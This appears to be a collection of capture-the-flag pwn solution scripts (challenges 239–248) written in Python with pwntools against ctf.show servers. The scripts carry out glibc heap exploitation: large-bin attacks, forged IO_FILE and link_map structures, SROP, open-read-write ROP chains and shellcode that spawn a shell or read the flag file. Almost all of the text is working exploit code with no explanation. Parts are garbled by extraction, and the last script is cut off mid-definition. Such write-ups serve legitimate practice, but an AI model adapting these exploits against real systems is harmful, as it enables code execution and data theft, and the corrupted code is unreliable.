65 edit(3,p64(libc_base + 0x1ecfe0)*2+p64(heap + 0x1f60)+p64(IO_list_all -
0x20))
66 add(4,0x490)
67 edit(3,p64(heap + 0x2460)+p64(libc_base + 0x1ecfe0)+p64(heap + 0x2460)*2)
68 edit(2,p64(libc_base + 0x1ecfe0)+p64(heap + 0x1f60)*3)
69 add(3,0x450)
70 add(2,0x430)
71
72 for i in range(0,5):
73     add(1,0xa0)
74     delet(1)
75 for i in range(0,7):
76     add(1,0x200)
77     delet(1)
78
79 add(0,0x200)
80 add(1,0x90)
81 delet(0)
82 add(1,0x150)
83
84 add(3,0x200)
85 add(1,0x100)
```



```

86  delet(3)
87  add(1,0x150)
88  add(1,0x100)
89  edit(3,'\\x00'*0x158+p64(0xb1)+p64(heap+0x44f0)+p64(free_hook-0x20))
90  add(1,0xa0)
91
92  buf=heap+0x43a0
93  pd='/bin/sh\\x00'+p64(0)+p64(system)
94  edit(0,pd)
95  pd=p64(0)*3+p64(0x28)+p64(0)+p64(buf)+p64(buf+34)
96  pd=pd.ljust(0xc8,'\\x00')+p64(I0_str_jumps)
97  edit(2,pd)
98  choice(5)
99
100 io.interactive()

```

## pwn 239

```

1  from pwn import *
2  context.log_level='debug'

3  io = remote('pwn.challenge.ctf.show',28239)
4  elf = ELF('./pwn')
5  def add(index,size):
6      io.sendlineafter('\\\\\\\\\\\\\\\\', str(1))
7      io.sendlineafter('index:\\n', str(index))
8      io.sendlineafter("Size:\\n", str(size))
9
10 def show(index):
11     io.sendlineafter('\\\\\\\\\\\\\\\\', str(2))
12     io.sendlineafter('index:\\n', str(index))
13
14 def edit(index, content):
15     io.sendlineafter('\\\\\\\\\\\\\\\\', str(3))
16     io.sendlineafter('index:\\n', str(index))
17     io.sendafter("context: \\n",content)
18
19 def delete(index):
20     io.sendlineafter('\\\\\\\\\\\\\\\\', str(4))
21     io.sendlineafter('index:\\n', str(index))
22
23 add(0,0x428)
24 add(1,0x500)

```

```

25  add(2,0x418)
26  delete(0)
27  add(3,0x500)
28
29  show(0)
30  libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3ec090
31  edit(0,'b'*0x10)
32  show(0)
33  io.recvuntil('b'*0x10)
34  heap_base = u64(io.recv(6).ljust(8,b'\x00'))-0x250
35
36  rtd_global = libc_base + 0x61b060
37  one_gadget = libc_base + 0x4f302
38  delete(2)
39  edit(0,p64(libc_base + 0x3ec090)*2+p64(heap_base+0x250)+p64(rtd_global-0x20))
40  add(4,0x500)
41
42  link_map=p64(0)*1
43  link_map+=p64(libc_base+0x61c710)
44  link_map+=p64(0)
45  link_map+=p64(heap_base+0xb90)
46  link_map+=p64(0)*28
47  link_map+=p64(heap_base+0xc08+0x98)
48  link_map+=p64(heap_base+0xc08+32+0x98)
49  link_map+=p64(heap_base+0xc08+0x10+0x98)
50  link_map+=p64(8)
51  link_map+=p64(one_gadget)
52  link_map+=p64(heap_base+0xb90)
53  link_map+=p64(0)*58
54  link_map+=p64(0x8000000000)
55
56  edit(2,link_map)
57  io.sendlineafter('YYYYYY', str(5))
58
59  io.interactive()

```

## pwn 240

```

1  from pwn import *
2  context.log_level='debug'

3  io = remote("pwn.challenge.ctf.show",28227)
4  libc = ELF('./libc-2.31.so')

5  def add(index,size):

```

```

6         io.sendlineafter('¥¥¥¥¥¥', str(1))
7         io.sendlineafter('index:\n', str(index))
8         io.sendlineafter("Size:\n", str(size))

9     def show(index):
10         io.sendlineafter('¥¥¥¥¥¥', str(2))
11         io.sendlineafter('index:\n', str(index))

12     def edit(index, content):
13         io.sendlineafter('¥¥¥¥¥¥', str(3))
14         io.sendlineafter('index:\n', str(index))
15         io.sendafter("context: \n", content)

16     def delete(index):
17         io.sendlineafter('¥¥¥¥¥¥', str(4))
18         io.sendlineafter('index:\n', str(index))

19     add(0, 0x428)
20     add(1, 0x500)
21     add(2, 0x418)
22     delete(0)
23     add(3, 0x500)

24     show(0)
25     libc_base= u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ebfd0
26     edit(0, 'a'*0x10)

27     show(0)
28     io.recvuntil('a'*0x10)
29     heap_base=u64(io.recv(6).ljust(8, b'\x00'))-0x290

30     rtd_global = libc_base + 0x222060

31     one_gadget = libc_base + 0xe6aee
32     ret_addr = libc_base + 0x00000000000025679
33     setcontext = 0x580dd + libc_base
34     pop_rdi = libc_base + 0x00000000000026b72
35     pop_rsi = libc_base + 0x00000000000027529
36     pop_rdx_r12 = libc_base + 0x00000000000011c1e1
37     write_addr = libc_base + libc.symbols['write']
38     open_addr = libc_base + libc.symbols['open']
39     read_addr = libc.symbols['read'] + libc_base
40     delete(2)
41     edit(0, p64(libc_base+0x3ec090)*2+p64(heap_base+0x290)+p64(rtd_global-0x20))
42     add(4, 0x500)
43     link_map=p64(0)
44     link_map+=p64(libc_base+0x223740)

```

```

45 link_map+=p64(0)
46 link_map+=p64(heap_base+0xb90+0x40)
47 link_map+=p64(0)*28
48 link_map+=p64(heap_base+0xc08+0x98+0x40)
49 link_map+=p64(heap_base+0xc08+32+0x98+0x40)
50 link_map+=p64(heap_base+0xc08+0x10+0x98+0x40)
51 link_map+=p64(0x20)
52 link_map+="flag\x00\x00\x00\x00"
53 link_map+=p64(heap_base+0xb90+0x40)
54 link_map+=p64(setcontext)
55 link_map+=p64(ret_addr)
56 link_map+=p64(0)*12
57 link_map+=p64(0)
58 link_map+=p64(heap_base+0xdc8)
59 link_map+=p64(0)*2
60 link_map+=p64(0x100)
61 link_map+=p64(0)*2
62 link_map+=p64(heap_base+0xdc8)
63 link_map+=p64(read_addr)
64 link_map+=p64(0)*36
65 link_map+=p64(0x800000000)
66 edit(2,link_map)
67 io.sendlineafter('YYYYY', str(5))
68 flag_addr=heap_base+0xd00
69 orw=p64(pop_rdi)+p64(flag_addr)
70 orw+=p64(pop_rsi)+p64(0)
71 orw+=p64(open_addr)
72 orw+=p64(pop_rdi)+p64(3)
73 orw+=p64(pop_rsi)+p64(heap_base)
74 orw+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
75 orw+=p64(read_addr)
76 orw+=p64(pop_rdi)+p64(1)
77 orw+=p64(pop_rsi)+p64(heap_base)
78 orw+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
79 orw+=p64(write_addr)
80 io.sendline(orw)
81
82 io.interactive()

```

## pwn 241

```

1 from pwn import*
2 context.log_level='debug'
3 def menu(ch):
4     io.sendlineafter('>> ',str(ch))

```

```
5 def New(size,content):
6     menu(1)
7     io.sendlineafter('Size: ',str(size))
8     io.sendafter('Content: ',content)
9 def Modify(index,content):
10    menu(2)
11    io.sendlineafter('Index: ',str(index))
12    io.sendafter('Content: ',content)
13 def Show(index):
14    menu(4)
15    io.sendlineafter('Index: ',str(index))
16 def Free(index):
17    menu(3)
18    io.sendlineafter('Index: ',str(index))
19
20 libc = ELF('./libc-2.32.so')
21 while True:
22     io = remote("pwn.challenge.ctf.show",28194)
23     try:
24         New(0x2000,'bit')
25         New(0x1000,'bit')
26         New(0x2000 - 0x2f0 - 0x600,'bit')
27         New(0x4f0,'bit')
28         New(0x108,'bit')
29         New(0x500,'bit')
30         New(0x108,'bit')
31         New(0x108,'bit')
32         New(0x108,'bit')
33         New(0x510,'bit')
34         New(0x108,'bit')
35         New(0x4f0,'bit')
36         New(0x108,'bit')
37         Free(3)
38         Free(5)
39         Free(9)
40         New(0x2000,'bit')
41         Free(3)
42         New(0x500,'\x00'*8 + p64(0xe61))
43         New(0x4f0,'\x00'*8+ '\x10\x00')
44
45         Free(11)
46         New(0x800,'bit')
47         Free(9)
48         New(0x510,'\x10\x00')
49         New(0x4f0,'\x00'*0x20)
50
51         Modify(10,'\x00'*0x100 + p64(0xe60))
```

```

52     Free(11)
53     New(0x4f0,'bit')
54     New(0x1000,'bit')
55     Show(6)
56     libc_base = u64(io.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 1648 - 0x
57 10 - libc.sym['__malloc_hook']
58     log.info('libc_base:\t' + hex(libc_base))
59     Show(9)
60     heap_base = u64(io.recv(6).ljust(8,'\x00')) - 0x49f0
61     log.info('heap:\t' + hex(heap_base))
62     SROP_address = heap_base + 0x79f0
63     magic = libc_base + 0x1eb538
64     main_arena = libc_base + libc.sym['__malloc_hook'] + 0x10
65     pop_rdi_ret = libc_base + 0x0000000000002858f
66     pop_rdx_r12 = libc_base + 0x00000000000114161
67     pop_rsi_ret = libc_base + 0x000000000002ac3f
68     pop_rax_ret = libc_base + 0x0000000000045580
69     syscall_ret = libc_base + 0x00000000000611ea
70     malloc_hook = libc_base + libc.sym['__malloc_hook']
71
72
73     frame = SigreturnFrame()
74     frame.rsp = heap_base + 0x7a90 + 0x58
75     frame.rip = pop_rdi_ret + 1
76
77     Open = libc_base + libc.symbols["open"]
78     Read = libc_base + libc.symbols["read"]
79     Write = libc_base + libc.symbols['write']
80
81     orw = ''
82     orw += p64(pop_rax_ret) + p64(2)
83     orw += p64(pop_rdi_ret)+p64(heap_base + 0x7B78)
84     orw += p64(pop_rsi_ret)+p64(0)
85     orw += p64(syscall_ret)
86     orw += p64(pop_rdi_ret) + p64(3)
87     orw += p64(pop_rdx_r12) + p64(0x100) + p64(0)
88     orw += p64(pop_rsi_ret) + p64(heap_base + 0x10000)
89     orw += p64(Read)
90     orw += p64(pop_rdi_ret)+p64(1)
91     orw += p64(Write)
92     orw += './flag\x00\x00'
93     IO_helper_jumps = libc_base + 0x1e38c0
94     New(0x130,'\x00'*0x108 + p64(0x4b1))
95     New(0x440,'bit')
96     New(0x8b0,'\x00'*0x20 + p64(0x21)*8)
97     New(0x430,'bit')
98     New(0x108,'bit')

```

```

99         Free(15)
100        New(0x800,'bit')
101        Free(15)
102        Free(7)
103        New(0x4a0,'\x00'*0x28 + p64(0x451) + p64(main_arena + 1120)*2 +
p64(heap_base + 0x6650) + p64(magic - 0x20))
104        Free(17)
105        New(0x800,str(frame) + orw)
106        Free(15)
107
108        New(0x430,'bit')
109        Free(7)
110        New(0x4a0,'\x00'*0x30 + '\x01'*0x90 + p64(libc_base + 0x1e54c0 +
0x60)*0x10 + p64(libc_base + 0x1e48c0 + 0xa0)*0x10)
111        Free(0)
112        Free(1)
113
114        New(0x108,p64(libc_base + libc.sym['setcontext'] + 61))
115        New(0x208,str(frame)[0xa0:])
116        menu(1)
117        io.sendafter('Size:',str(0x428))
118        break
119    except:
120        io.close()
121
122    io.interactive()

```

## pwn 242

```

1  from pwn import *

2  context.log_level = 'debug'

3  io = remote("pwn.challenge.ctf.show",28284)

4  libc = ELF('./libc-2.34.so')
5  def add(flag,idx,size):
6      if flag:
7          io.recvuntil('opcode\n')
8          payload = '\x01' + p8(idx) + p16(size)+'\x05'
9          io.send(payload)
10         return 0
11     else:
12         payload = '\x01' + p8(idx) + p16(size)
13         return payload

```

```
14
15 def delete(flag,idx):
16     if flag:
17         io.recvuntil('opcode\n')
18         payload = '\x02' + p8(idx)+'\x05'
19         io.send(payload)
20         return 0
21     else:
22         payload = '\x02' + p8(idx)
23         return payload
24
25 def edit(flag,idx,size,content):
26     if flag:
27         io.recvuntil('opcode\n')
28         payload = '\x04' + p8(idx) + p16(size) + content+'\x05'
29         io.send(payload)
30         return 0
31     else:
32         payload = '\x04' + p8(idx) + p16(size) + content
33         return payload
34
35 def show(flag,idx):
36     if flag:
37         io.recvuntil('opcode\n')
38         payload = '\x03' + p8(idx) + '\x05'
39         io.send(payload)
40         return 0
41     else:
42         payload = '\x03' + p8(idx)
43         return payload
44
45 def quit():
46     return '\x05'
47
48 def recv():
49     leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
50     return leak
51
52 add(1,0,0x440)
53 add(1,1,0x4a0)
54 add(1,2,0x410)
55 add(1,3,0x490)
56 add(1,4,0x430)
57 add(1,5,0x490)
58 add(1,6,0x430)
59
60 add(1,9,0x4c0)
```



```
61  add(1,10,0x490)
62  add(1,11,0x490)
63  add(1,12,0x490)
64  add(1,13,0x490)
65  add(1,14,0x490)
66  add(1,15,0x490)
67  add(1,16,0x490)
68  delete(1,1)
69  show(1,1)
70
71  leak = recv()
72
73  libc_base = leak - 0x1f30d0
74
75  setcontext = libc_base + 0x50bfd
76
77  main_arena = leak + 0x3f0
78  tcache_bins = libc_base + 0x1f2390
79
80  prsi = libc_base + 0x00000000000037c0a
81  prdi = libc_base + 0x0000000000002daa2
82  prdx = libc_base + 0x0000000000001066e1
83
84  stdout = libc_base + 0x1f3848
85  io_stdfile_1_lock = libc_base + 0x1f5730
86  str_jumps_vtable = libc_base + 0x1f4620
87  libc_abs = libc_base + 0x1f20b0
88  libc_puts = libc_base + 0x7a050
89  gadget = libc_base + 0x6f476
90
91  libc_open = libc_base + libc.sym['open']
92  libc_read = libc_base + libc.sym['read']
93  libc_write = libc_base + libc.sym['write']
94
95  io.recvuntil('opcode\n')
96  payload = add(0,7,0x500)
97  payload += delete(0,3)
98  payload += edit(0,1,0x20, p64(main_arena)*2+p64(0)+p64(tcache_bins-0x20))
99  payload += add(0,8,0x410)
100 payload += quit()
101 io.sendline(payload)
102
103 for i in range(7):
104     delete(1,i+10)
105 delete(1,9)
```

```
101 show(1,11)
102 heap_addr = u64(io.recvuntil('\x0a')[-6:-1].ljust(8,'\x00'))<<12
103 heap_base = heap_addr - 0x4000
104 info(hex(heap_base))
105
106 flag_str = heap_base + 0x760
107 rsp = heap_base + 0x460
108 v = heap_base + 0x388
109
110 fake = p64(0)
111 fake += p64(v)
112 fake += p64(v+0x22e)
113 fake += p64(libc_abs)*3
114 fake = fake.ljust(0x58,'\x00')
115 fake += p64(io_stdfile_1_lock)
116 fake += p64(0)*2
117 fake += p64(rsp)
118 fake += p64(prdi)
119 fake = fake.ljust(0xa8,'\x00')
120 fake += p64(str_jumps_vtable)
121 o = p64(gadget)*6 + p64(0) + p64(flag_str) +p64(libc_open)
122 r = p64(prdi) + p64(3) + p64(prsi) + p64(flag_str) + p64(prdx) +
    p64(0x30)+p64(0) + p64(libc_read)
123 w = p64(prdi) + p64(1) + p64(prsi) + p64(flag_str) + p64(prdx) +
    p64(0x30)+p64(0) + p64(libc_write)
124 payload = delete(0,5)
125 payload += show(0,5)
126 payload += show(0,5)
127 payload += show(0,5)
128 payload += show(0,5)
129 payload += show(0,5)
130 payload += edit(0,1,len(fake)+0x20,p64(main_arena)*2 + p64(0) + p64(stdout -
    0x20) + fake)
131 payload += add(0,8,0x410)
132 payload += '\x00'*4
133 payload += p64(libc_puts) *2
134 payload += '\x00' * 0x28
135 payload += p64(setcontext)
136 payload += '\x00' *0x60
137 payload += o
138 payload += r
139 payload += w
140 payload = payload.ljust(0x4c0,'\x00') + './flag'
141 io.send(payload)
142
143 io.interactive()
```

## pwn 243

```
1  from pwn import *
2  elf_path = './pwn'
3  libc = ELF('./libc-2.27.so')
4  io = remote("pwn.challenge.ctf.show",28246)
5
6  io.recvuntil('Now you can get a big box, what size?')
7  io.sendline(str(0x1450-0x20))
8  io.recvuntil('Now you can get a bigger box, what size?')
9  io.sendline('20480')
10 io.recvuntil('Do you want to rename?(y/n)')
11 io.sendline('y')
12 io.recvuntil('Now your name is:')
13 arena_base = u64(io.recv(6) + '\x00\x00')
14 print hex(arena_base)
15 io.send(p64(0)+p64(arena_base-(0x7fae0cfe0ca0 - 0x7fae0cfe2940) - 0x10))
16 libc_base = arena_base - (0x7faf7ffb0ca0 - 0x7faf7fbc5000)
17 print hex(libc_base)
18 target_addr = libc_base + libc.symbols['_IO_list_all']
19 io.recvuntil('Do you want to edit big box or bigger box?(1:big/2:bigger)')
20 io.sendline('1')
21 io.recvuntil('Let\'s edit,')
22 binshsdd = 0x1b40fa + libc_base
23 IO_str_jumps = libc_base + 0x7f5020add360 - 0x7f50206f5000
24 fake_IO_FILE = p64(0)*2
25 fake_IO_FILE += p64(0) + p64(binshsdd+1)
26 fake_IO_FILE += p64(0) + p64(0)
27 fake_IO_FILE += p64((binshsdd-100)/2) + p64(0)
28 fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
29 fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2
30 fake_IO_FILE += p64(IO_str_jumps)
31 fake_IO_FILE += p64(libc_base+libc.symbols['system'])
32
33 io.sendline(fake_IO_FILE)
34 io.recvuntil('bye')
35
36 io.interactive()
```

## pwn 244

```
1  from pwn import *
2  context.log_level = 'debug'
```

```

3  io = remote("pwn.challenge.ctf.show",28149)
4  elf = ELF('./pwn')
5  libc = ELF('./libc-2.27.so')
6  def choice(i):
7      io.sendlineafter('choice: \n', i)
8
9  def add(size):
10     choice('1')
11     io.sendlineafter('size:\n', str(size))
12
13  def edit(idx, content):
14     choice('2')
15     io.sendlineafter('id:\n', str(idx))
16     io.sendline(content)
17
18  def show(idx):
19     choice('3')
20     io.sendlineafter('id:\n', str(idx))
21     io.recvuntil('output\n')
22
23  def dele(idx):
24     choice('4')
25     io.sendlineafter('id:\n', str(idx))
26
27  add(0x500)
28  add(0x4af8*2-0x10)
29  add(0xC30*2-0x10)
30  add(0x500)
31  dele(0)
32  show(0)
33  libc_base = u64(io.recv(6).ljust(0x8, '\x00')) - 0x3ebca0
34  edit(0, p64(libc_base + 0x3ed940 - 0x10)*2)
35  edit(2, 'a'*((0x58-2)*8) + p64(libc_base + 0x10a2fc))
36  add(0x500)
37  dele(2)
38  dele(1)
39
40  io.interactive()

```

## pwn 245

```

1  from pwn import *
2  context.log_level='debug'
3  io = remote("pwn.challenge.ctf.show",28261)

```

```

4  libc = ELF("./libc.so.6")

5  def decode(a):
6      mingwen=base64.b64decode(a.encode())
7      mingwen=mingwen[16:]

8      s=[]
9      for i in mingwen:
10         s.append(ord(i))

11         for i in range(0xff,0x4f,-2):
12             key = s[s[i]]
13             for j in range(i):
14                 s[j] ^= key

15                 for k in range(s[i],i):
16                     s[k] = s[k+1]
17         string=''
18         s=s[:8]
19         for i in s:
20             string+=chr(i)
21         b=u64(string)
22         return b

23
24  def inputs(choice):
25      a='wwna\l\l\l\x20\x00\x00\x00\x00\x00\x00\x00'
26      b=str(choice)
27      b=b.ljust(0x60,'\x00')
28      b=b.ljust(0x100,'\x06')
29      mingwen=base64.b64encode(a+b)
30      print(mingwen)
31      return mingwen
32
33  def add(a1,s):
34      choice=inputs(1)
35      io.recvuntil('=\\n')
36      io.recvuntil('=\\n')
37      io.recvuntil('=\\n')
38      io.recvuntil('=\\n')
39      io.recvuntil('=\\n')
40      io.sendline(choice)
41      size=inputs(a1)
42      io.sendlineafter('=\\n',size)
43      a='wwna\l\l\l\x20\x00\x00\x00\x00\x00\x00\x00'
44      content=base64.b64encode(a+s)
45      io.sendlineafter('=\\n',content)
46      io.recvuntil('=\\n')

```

```

47
48 def add2(a1):
49     choice=inputs(1)
50     io.recvuntil('=\\n')
51     io.recvuntil('=\\n')
52     io.recvuntil('=\\n')
53     io.recvuntil('=\\n')
54     io.recvuntil('=\\n')
55     io.sendline(choice)
56     size=inputs(a1)
57     io.sendlineafter('=\\n',size)
58     io.recvuntil('=\\n')
59
60 def dele(a1):
61     choice=inputs(2)
62     io.recvuntil('=\\n')
63     io.recvuntil('=\\n')
64     io.recvuntil('=\\n')
65     io.recvuntil('=\\n')
66     io.recvuntil('=\\n')
67     io.sendline(choice)
68     index=inputs(a1)
69     io.sendlineafter('=\\n',index)
70     io.recvuntil('=\\n')
71
72 def edit(a1,s):
73     choice=inputs(3)
74     io.recvuntil('=\\n')
75     io.recvuntil('=\\n')
76     io.recvuntil('=\\n')
77     io.recvuntil('=\\n')
78     io.recvuntil('=\\n')
79     io.sendline(choice)
80     index=inputs(a1)
81     io.sendlineafter('=\\n',index)
82     a='\\wna\\nal\\x20\\x00\\x00\\x00\\x00\\x00\\x00\\x00'
83     content=base64.b64encode(a+s)
84     io.sendlineafter('=\\n',content)
85     io.recvuntil('=\\n')
86
87 def show(a1):
88     choice=inputs(4)
89     io.recvuntil('=\\n')
90     io.recvuntil('=\\n')
91     io.recvuntil('=\\n')
92     io.recvuntil('=\\n')
93     io.recvuntil('=\\n')

```

```
94         io.sendline(choice)
95         index=inputs(a1)
96         io.sendlineafter('=\\n',index)
97
98     choice=inputs(5)
99     io.recvuntil('=\\n')
100    io.recvuntil('=\\n')
101    io.recvuntil('=\\n')
102    io.recvuntil('=\\n')
103    io.recvuntil('=\\n')
104    io.sendline(choice)
105    size=inputs(14616)
106    io.sendlineafter('=\\n',size)
107    io.recvuntil('=\\n')
108    payload='a'*0x10
109    payload=payload.ljust(0x80,'\\x00')
110    payload=payload.ljust(0x100,'\\x12')
111    add(56,payload)
112    payload1='deadbeef'*0x2
113    payload1=payload1.ljust(0x60,'\\x00')
114    payload1=payload1.ljust(0xff,'\\x12')
115    payload1+='\\xe8'
116    add(56,payload1)
117    add(56,payload1)
118    dele(0)
119    show(1)
120    io.recvuntil('=\\n')
121    io.recvuntil('=\\n')
122    show(0)
123    a=io.recvuntil('=')
124    print('a',a)
125    malloc_hook=decode(a)-16-88
126    libc_base=malloc_hook-libc.symbols['__malloc_hook']
127    print('libc_base',hex(libc_base))
128    io.recvuntil('=\\n')
129    onegadget=[0x45226,0x4527a,0xf03a4,0xf1247]
130    global_max_fast=libc_base+0x3c67f8
131    system=libc_base+libc.symbols['system']
132
133    edit(0,p64(malloc_hook+88+16)+p64(global_max_fast-0x10))
134    add(56,'/bin/sh\\x00')
135
136    choice=inputs(5)
137    io.recvuntil('=\\n')
138    io.recvuntil('=\\n')
139    io.recvuntil('=\\n')
140    io.recvuntil('=\\n')
```

```

141 io.recvuntil('=\\n')
142 io.sendline(choice)
143
144 choice=inputs(5)
145 io.recvuntil('=\\n')
146 io.recvuntil('=\\n')
147 io.recvuntil('=\\n')
148 io.recvuntil('=\\n')
149 io.recvuntil('=\\n')
150 io.sendline(choice)
151 io.recvuntil('=\\n')
152 io.recvuntil('=\\n')
153 a='\\wna\\nal\\x20\\x00\\x00\\x00\\x00\\x00\\x00\\x00'
154 content=base64.b64encode(a+p64(system))
155 io.sendline(content)
156 choice=inputs(5)
157 io.recvuntil('=\\n')
158 io.recvuntil('=\\n')
159 io.recvuntil('=\\n')
160 io.recvuntil('=\\n')
161 io.recvuntil('=\\n')
162 io.sendline(choice)
163 dele(3)
164
165 io.interactive()

```

## pwn 246

```

1  from pwn import *
2  context.log_level = 'debug'
3  elf = ELF("./pwn")
4  libc = ELF('./libc-2.23.so')
5
6  def add(size):
7      io.recvuntil("Command: ")
8
9      io.sendline('1')
10     io.recvuntil("Size: ")
11     io.sendline(str(size))
12
13 def delete(index):
14     io.recvuntil("Command: ")
15
16     io.sendline('3')

```



```
15         io.recvuntil("Index: ")
16         io.sendline(str(index))
17
18     def show(index):
19         io.recvuntil("Command: ")
20
21         io.sendline('4')
22         io.recvuntil("Index: ")
23         io.sendline(str(index))
24
25     def edit(index,content):
26         io.recvuntil("Command: ")
27
28         io.sendline('2')
29         io.recvuntil("Index: ")
30         io.sendline(str(index))
31         io.recvuntil("Size: ")
32         io.sendline(str(len(content)))
33         io.recvuntil("Content: ")
34         io.send(content)
35
36     def pwn():
37         add(0x18)
38         add(0x508)
39         add(0x18)
40         add(0x18)
41         add(0x508)
42         add(0x18)
43         add(0x18)
44
45         edit(1, 'a'*0x4f0+p64(0x500))
46         delete(1)
47         edit(0, 'a'*(0x18-12))
48         add(0x18)
49         add(0x4d8)
50         delete(1)
51         delete(2)
52         add(0x38)
53         add(0x4e8)
54
55         edit(4, 'a'*0x4f0+p64(0x500))
56         delete(4)
57         edit(3, 'a'*(0x18-12))
58         add(0x18)
59         add(0x4d8)
60         delete(4)
61         delete(5)
```

```

60         add(0x48)
61
62         delete(2)
63         add(0x4e8)
64         delete(2)
65
66         storage = 0x13370800
67         fake_chunk = storage - 0x20
68         payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) +
p64(fake_chunk)
69         edit(7, payload)
70         payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) +
p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
71         edit(8, payload)
72
73         add(0x48)
74         payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
75         edit(2, payload)
76
77         payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) +
p64(0x1000) + p64(fake_chunk+3) + p64(8)
78         edit(0, payload)
79
80         show(1)
81         io.recvuntil("]: ")
82         heap = u64(io.recv(6).ljust(8, '\x00'))
83         success("heap:"+hex(heap))
84
85         payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) +
p64(0x1000) + p64(heap+0x10) + p64(8)
86         edit(0, payload)
87
88         show(1)
89         io.recvuntil("]: ")
90         malloc_hook = u64(io.recv(6).ljust(8, '\x00')) - 0x58 - 0x10
91         libc.address = malloc_hook - libc.sym['__malloc_hook']
92         free_hook = libc.sym['__free_hook']
93         system = libc.sym['system']
94         success("malloc_hook:"+hex(malloc_hook))
95
96         payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) +
p64(0x1000) + p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(8) +
'/bin/sh\x00'
97         edit(0, payload)
98         edit(1, p64(system))
99         delete(2)
100

```

```
101         io.interactive()
102
103     if __name__ == "__main__":
104         while True:
105             io = remote("pwn.challenge.ctf.show",28197)
106             try:
107                 pwn()
108             except:
109                 io.close()
```

## pwn 247

```
1  from pwn import *
2  context(arch = 'amd64', os = 'linux', log_level = 'debug')
3  elf = ELF("./pwn")
4  libc = ELF('./libc-2.23.so')
5
6  def add(size):
7      io.recvuntil("Choice: \n")
8
9      io.sendline('1')
10     io.recvuntil("Size: ")
11     io.sendline(str(size))
12
13     io.sendline('3')
14     io.recvuntil("Index: ")
15     io.sendline(str(index))
16
17     def show(index):
18         io.recvuntil("Choice: \n")
19
20         io.sendline('4')
21         io.recvuntil("Index: ")
22         io.sendline(str(index))
23
24     def edit(index, content):
25         io.recvuntil("Choice: \n")
26
27         io.sendline('2')
28         io.recvuntil("Index: ")
29         io.sendline(str(index))
30         io.recvuntil("Content: ")
```

```
29     io.send(content)
30
31     def pwn():
32         libc.address = 0
33         add(0x80)
34         add(0x68)
35         add(0xf0)
36         add(0x18)
37         delete(0)
38         payload = 'a'*0x60 + p64(0x100)
39         edit(1, payload)
40         delete(2)
41         add(0x80)
42         show(1)
43         malloc_hook = u64(io.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
44         libc.address = malloc_hook - libc.sym['__malloc_hook']
45         system = libc.sym['system']
46         free_hook = libc.sym['__free_hook']
47         set_context = libc.symbols['setcontext']
48         success("libc_base:" + hex(libc.address))
49         add(0x160)
50
51         add(0x18)
52         add(0x508)
53         add(0x18)
54         add(0x18)
55         add(0x508)
56         add(0x18)
57         add(0x18)
58
59         edit(5, 'a'*0x4f0+p64(0x500))
60         delete(5)
61         edit(4, 'a'*0x18)
62         add(0x18)
63         add(0x4d8)
64         delete(5)
65         delete(6)
66         add(0x30)
67         add(0x4e8)
68
69         edit(8, 'a'*0x4f0+p64(0x500))
70         delete(8)
71         edit(7, 'a'*0x18)
72         add(0x18)
73         add(0x4d8)
74         delete(8)
75         delete(9)
```

```

76     add(0x40)
77     delete(6)
78     add(0x4e8)
79     delete(6)

80
81     storage = free_hook
82     fake_chunk = storage - 0x20
83     payload = '\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
84     edit(11, payload)
85     payload = '\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8)
+ p64(0) + p64(fake_chunk-0x18-5)

86     edit(12, payload)
87     add(0x48)#6
88     sleep(0.5)
89
90     new_addr = free_hook &0xFFFFFFFFFFFFFF000
91     shellcode1 = '''
92     xor rdi,rdi
93     mov rsi,%d
94     mov edx,0x1000
95
96     mov eax,0
97     syscall
98
99     jmp rsi
100     ''' % new_addr
101     edit(6,
+ 'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))
102
103     frame = SigreturnFrame()
104     frame.rsp = free_hook+0x10
105     frame.rdi = new_addr
106     frame.rsi = 0x1000
107     frame.rdx = 7
108     frame.rip = libc.sym['mprotect']
109     edit(12, str(frame))
110     delete(12)
111     sleep(0.5)
112
113     shellcode2 = '''
114     mov rax, 0x67616c662f ;
115     push rax
116
117     mov rdi, rsp ;
118     mov rsi, 0 ;

```

```

119     xor rdx, rdx ;
120     mov rax, 2 ;
121     syscall
122
123     mov rdi, rax ;
124     mov rsi, rsp ;
125     mov rdx, 1024 ;
126     mov rax, 0 ;
127     syscall
128
129     mov rdi, 1 ;
130     mov rsi, rsp ;
131     mov rdx, rax ;
132     mov rax, 1 ;
133     syscall
134
135     mov rdi, 0 ;
136     mov rax, 60
137     syscall
138     '''
139     io.sendline(asm(shellcode2))
140
141     io.interactive()
142
143 if __name__ == "__main__":
144     while True:
145         io = remote("pwn.challenge.ctf.show", 28271)
146         try:
147             pwn()
148         except:
149             io.close()
150

```

## pwn 248

```

1  from pwn import *
2  context.log_level='debug'
3  io = remote("pwn.challenge.ctf.show", 28122)
4  libc = ELF('./libc-2.23.so')
5  def Add(l,d):
6      io.sendlineafter('choice: ', '1')
7      io.sendlineafter(':', '0')
8      io.sendlineafter(':', '0')
9      io.sendlineafter(':', '0')
10     io.sendlineafter(':', str(l))

```

```
11     io.sendlineafter('apple:',d)
12 def Edit(idx,d):
13     io.sendlineafter('choice: ','3')
14     io.sendlineafter('):',str(idx))
15     io.sendlineafter('):','0')
16     io.sendlineafter('):','0')
17     io.sendlineafter('):','0')
18     io.sendlineafter('apple:',d)
19 def Show(idx):
20     io.sendlineafter('choice: ','4')
21     io.sendlineafter('):',str(idx))
22 def Del(idx):
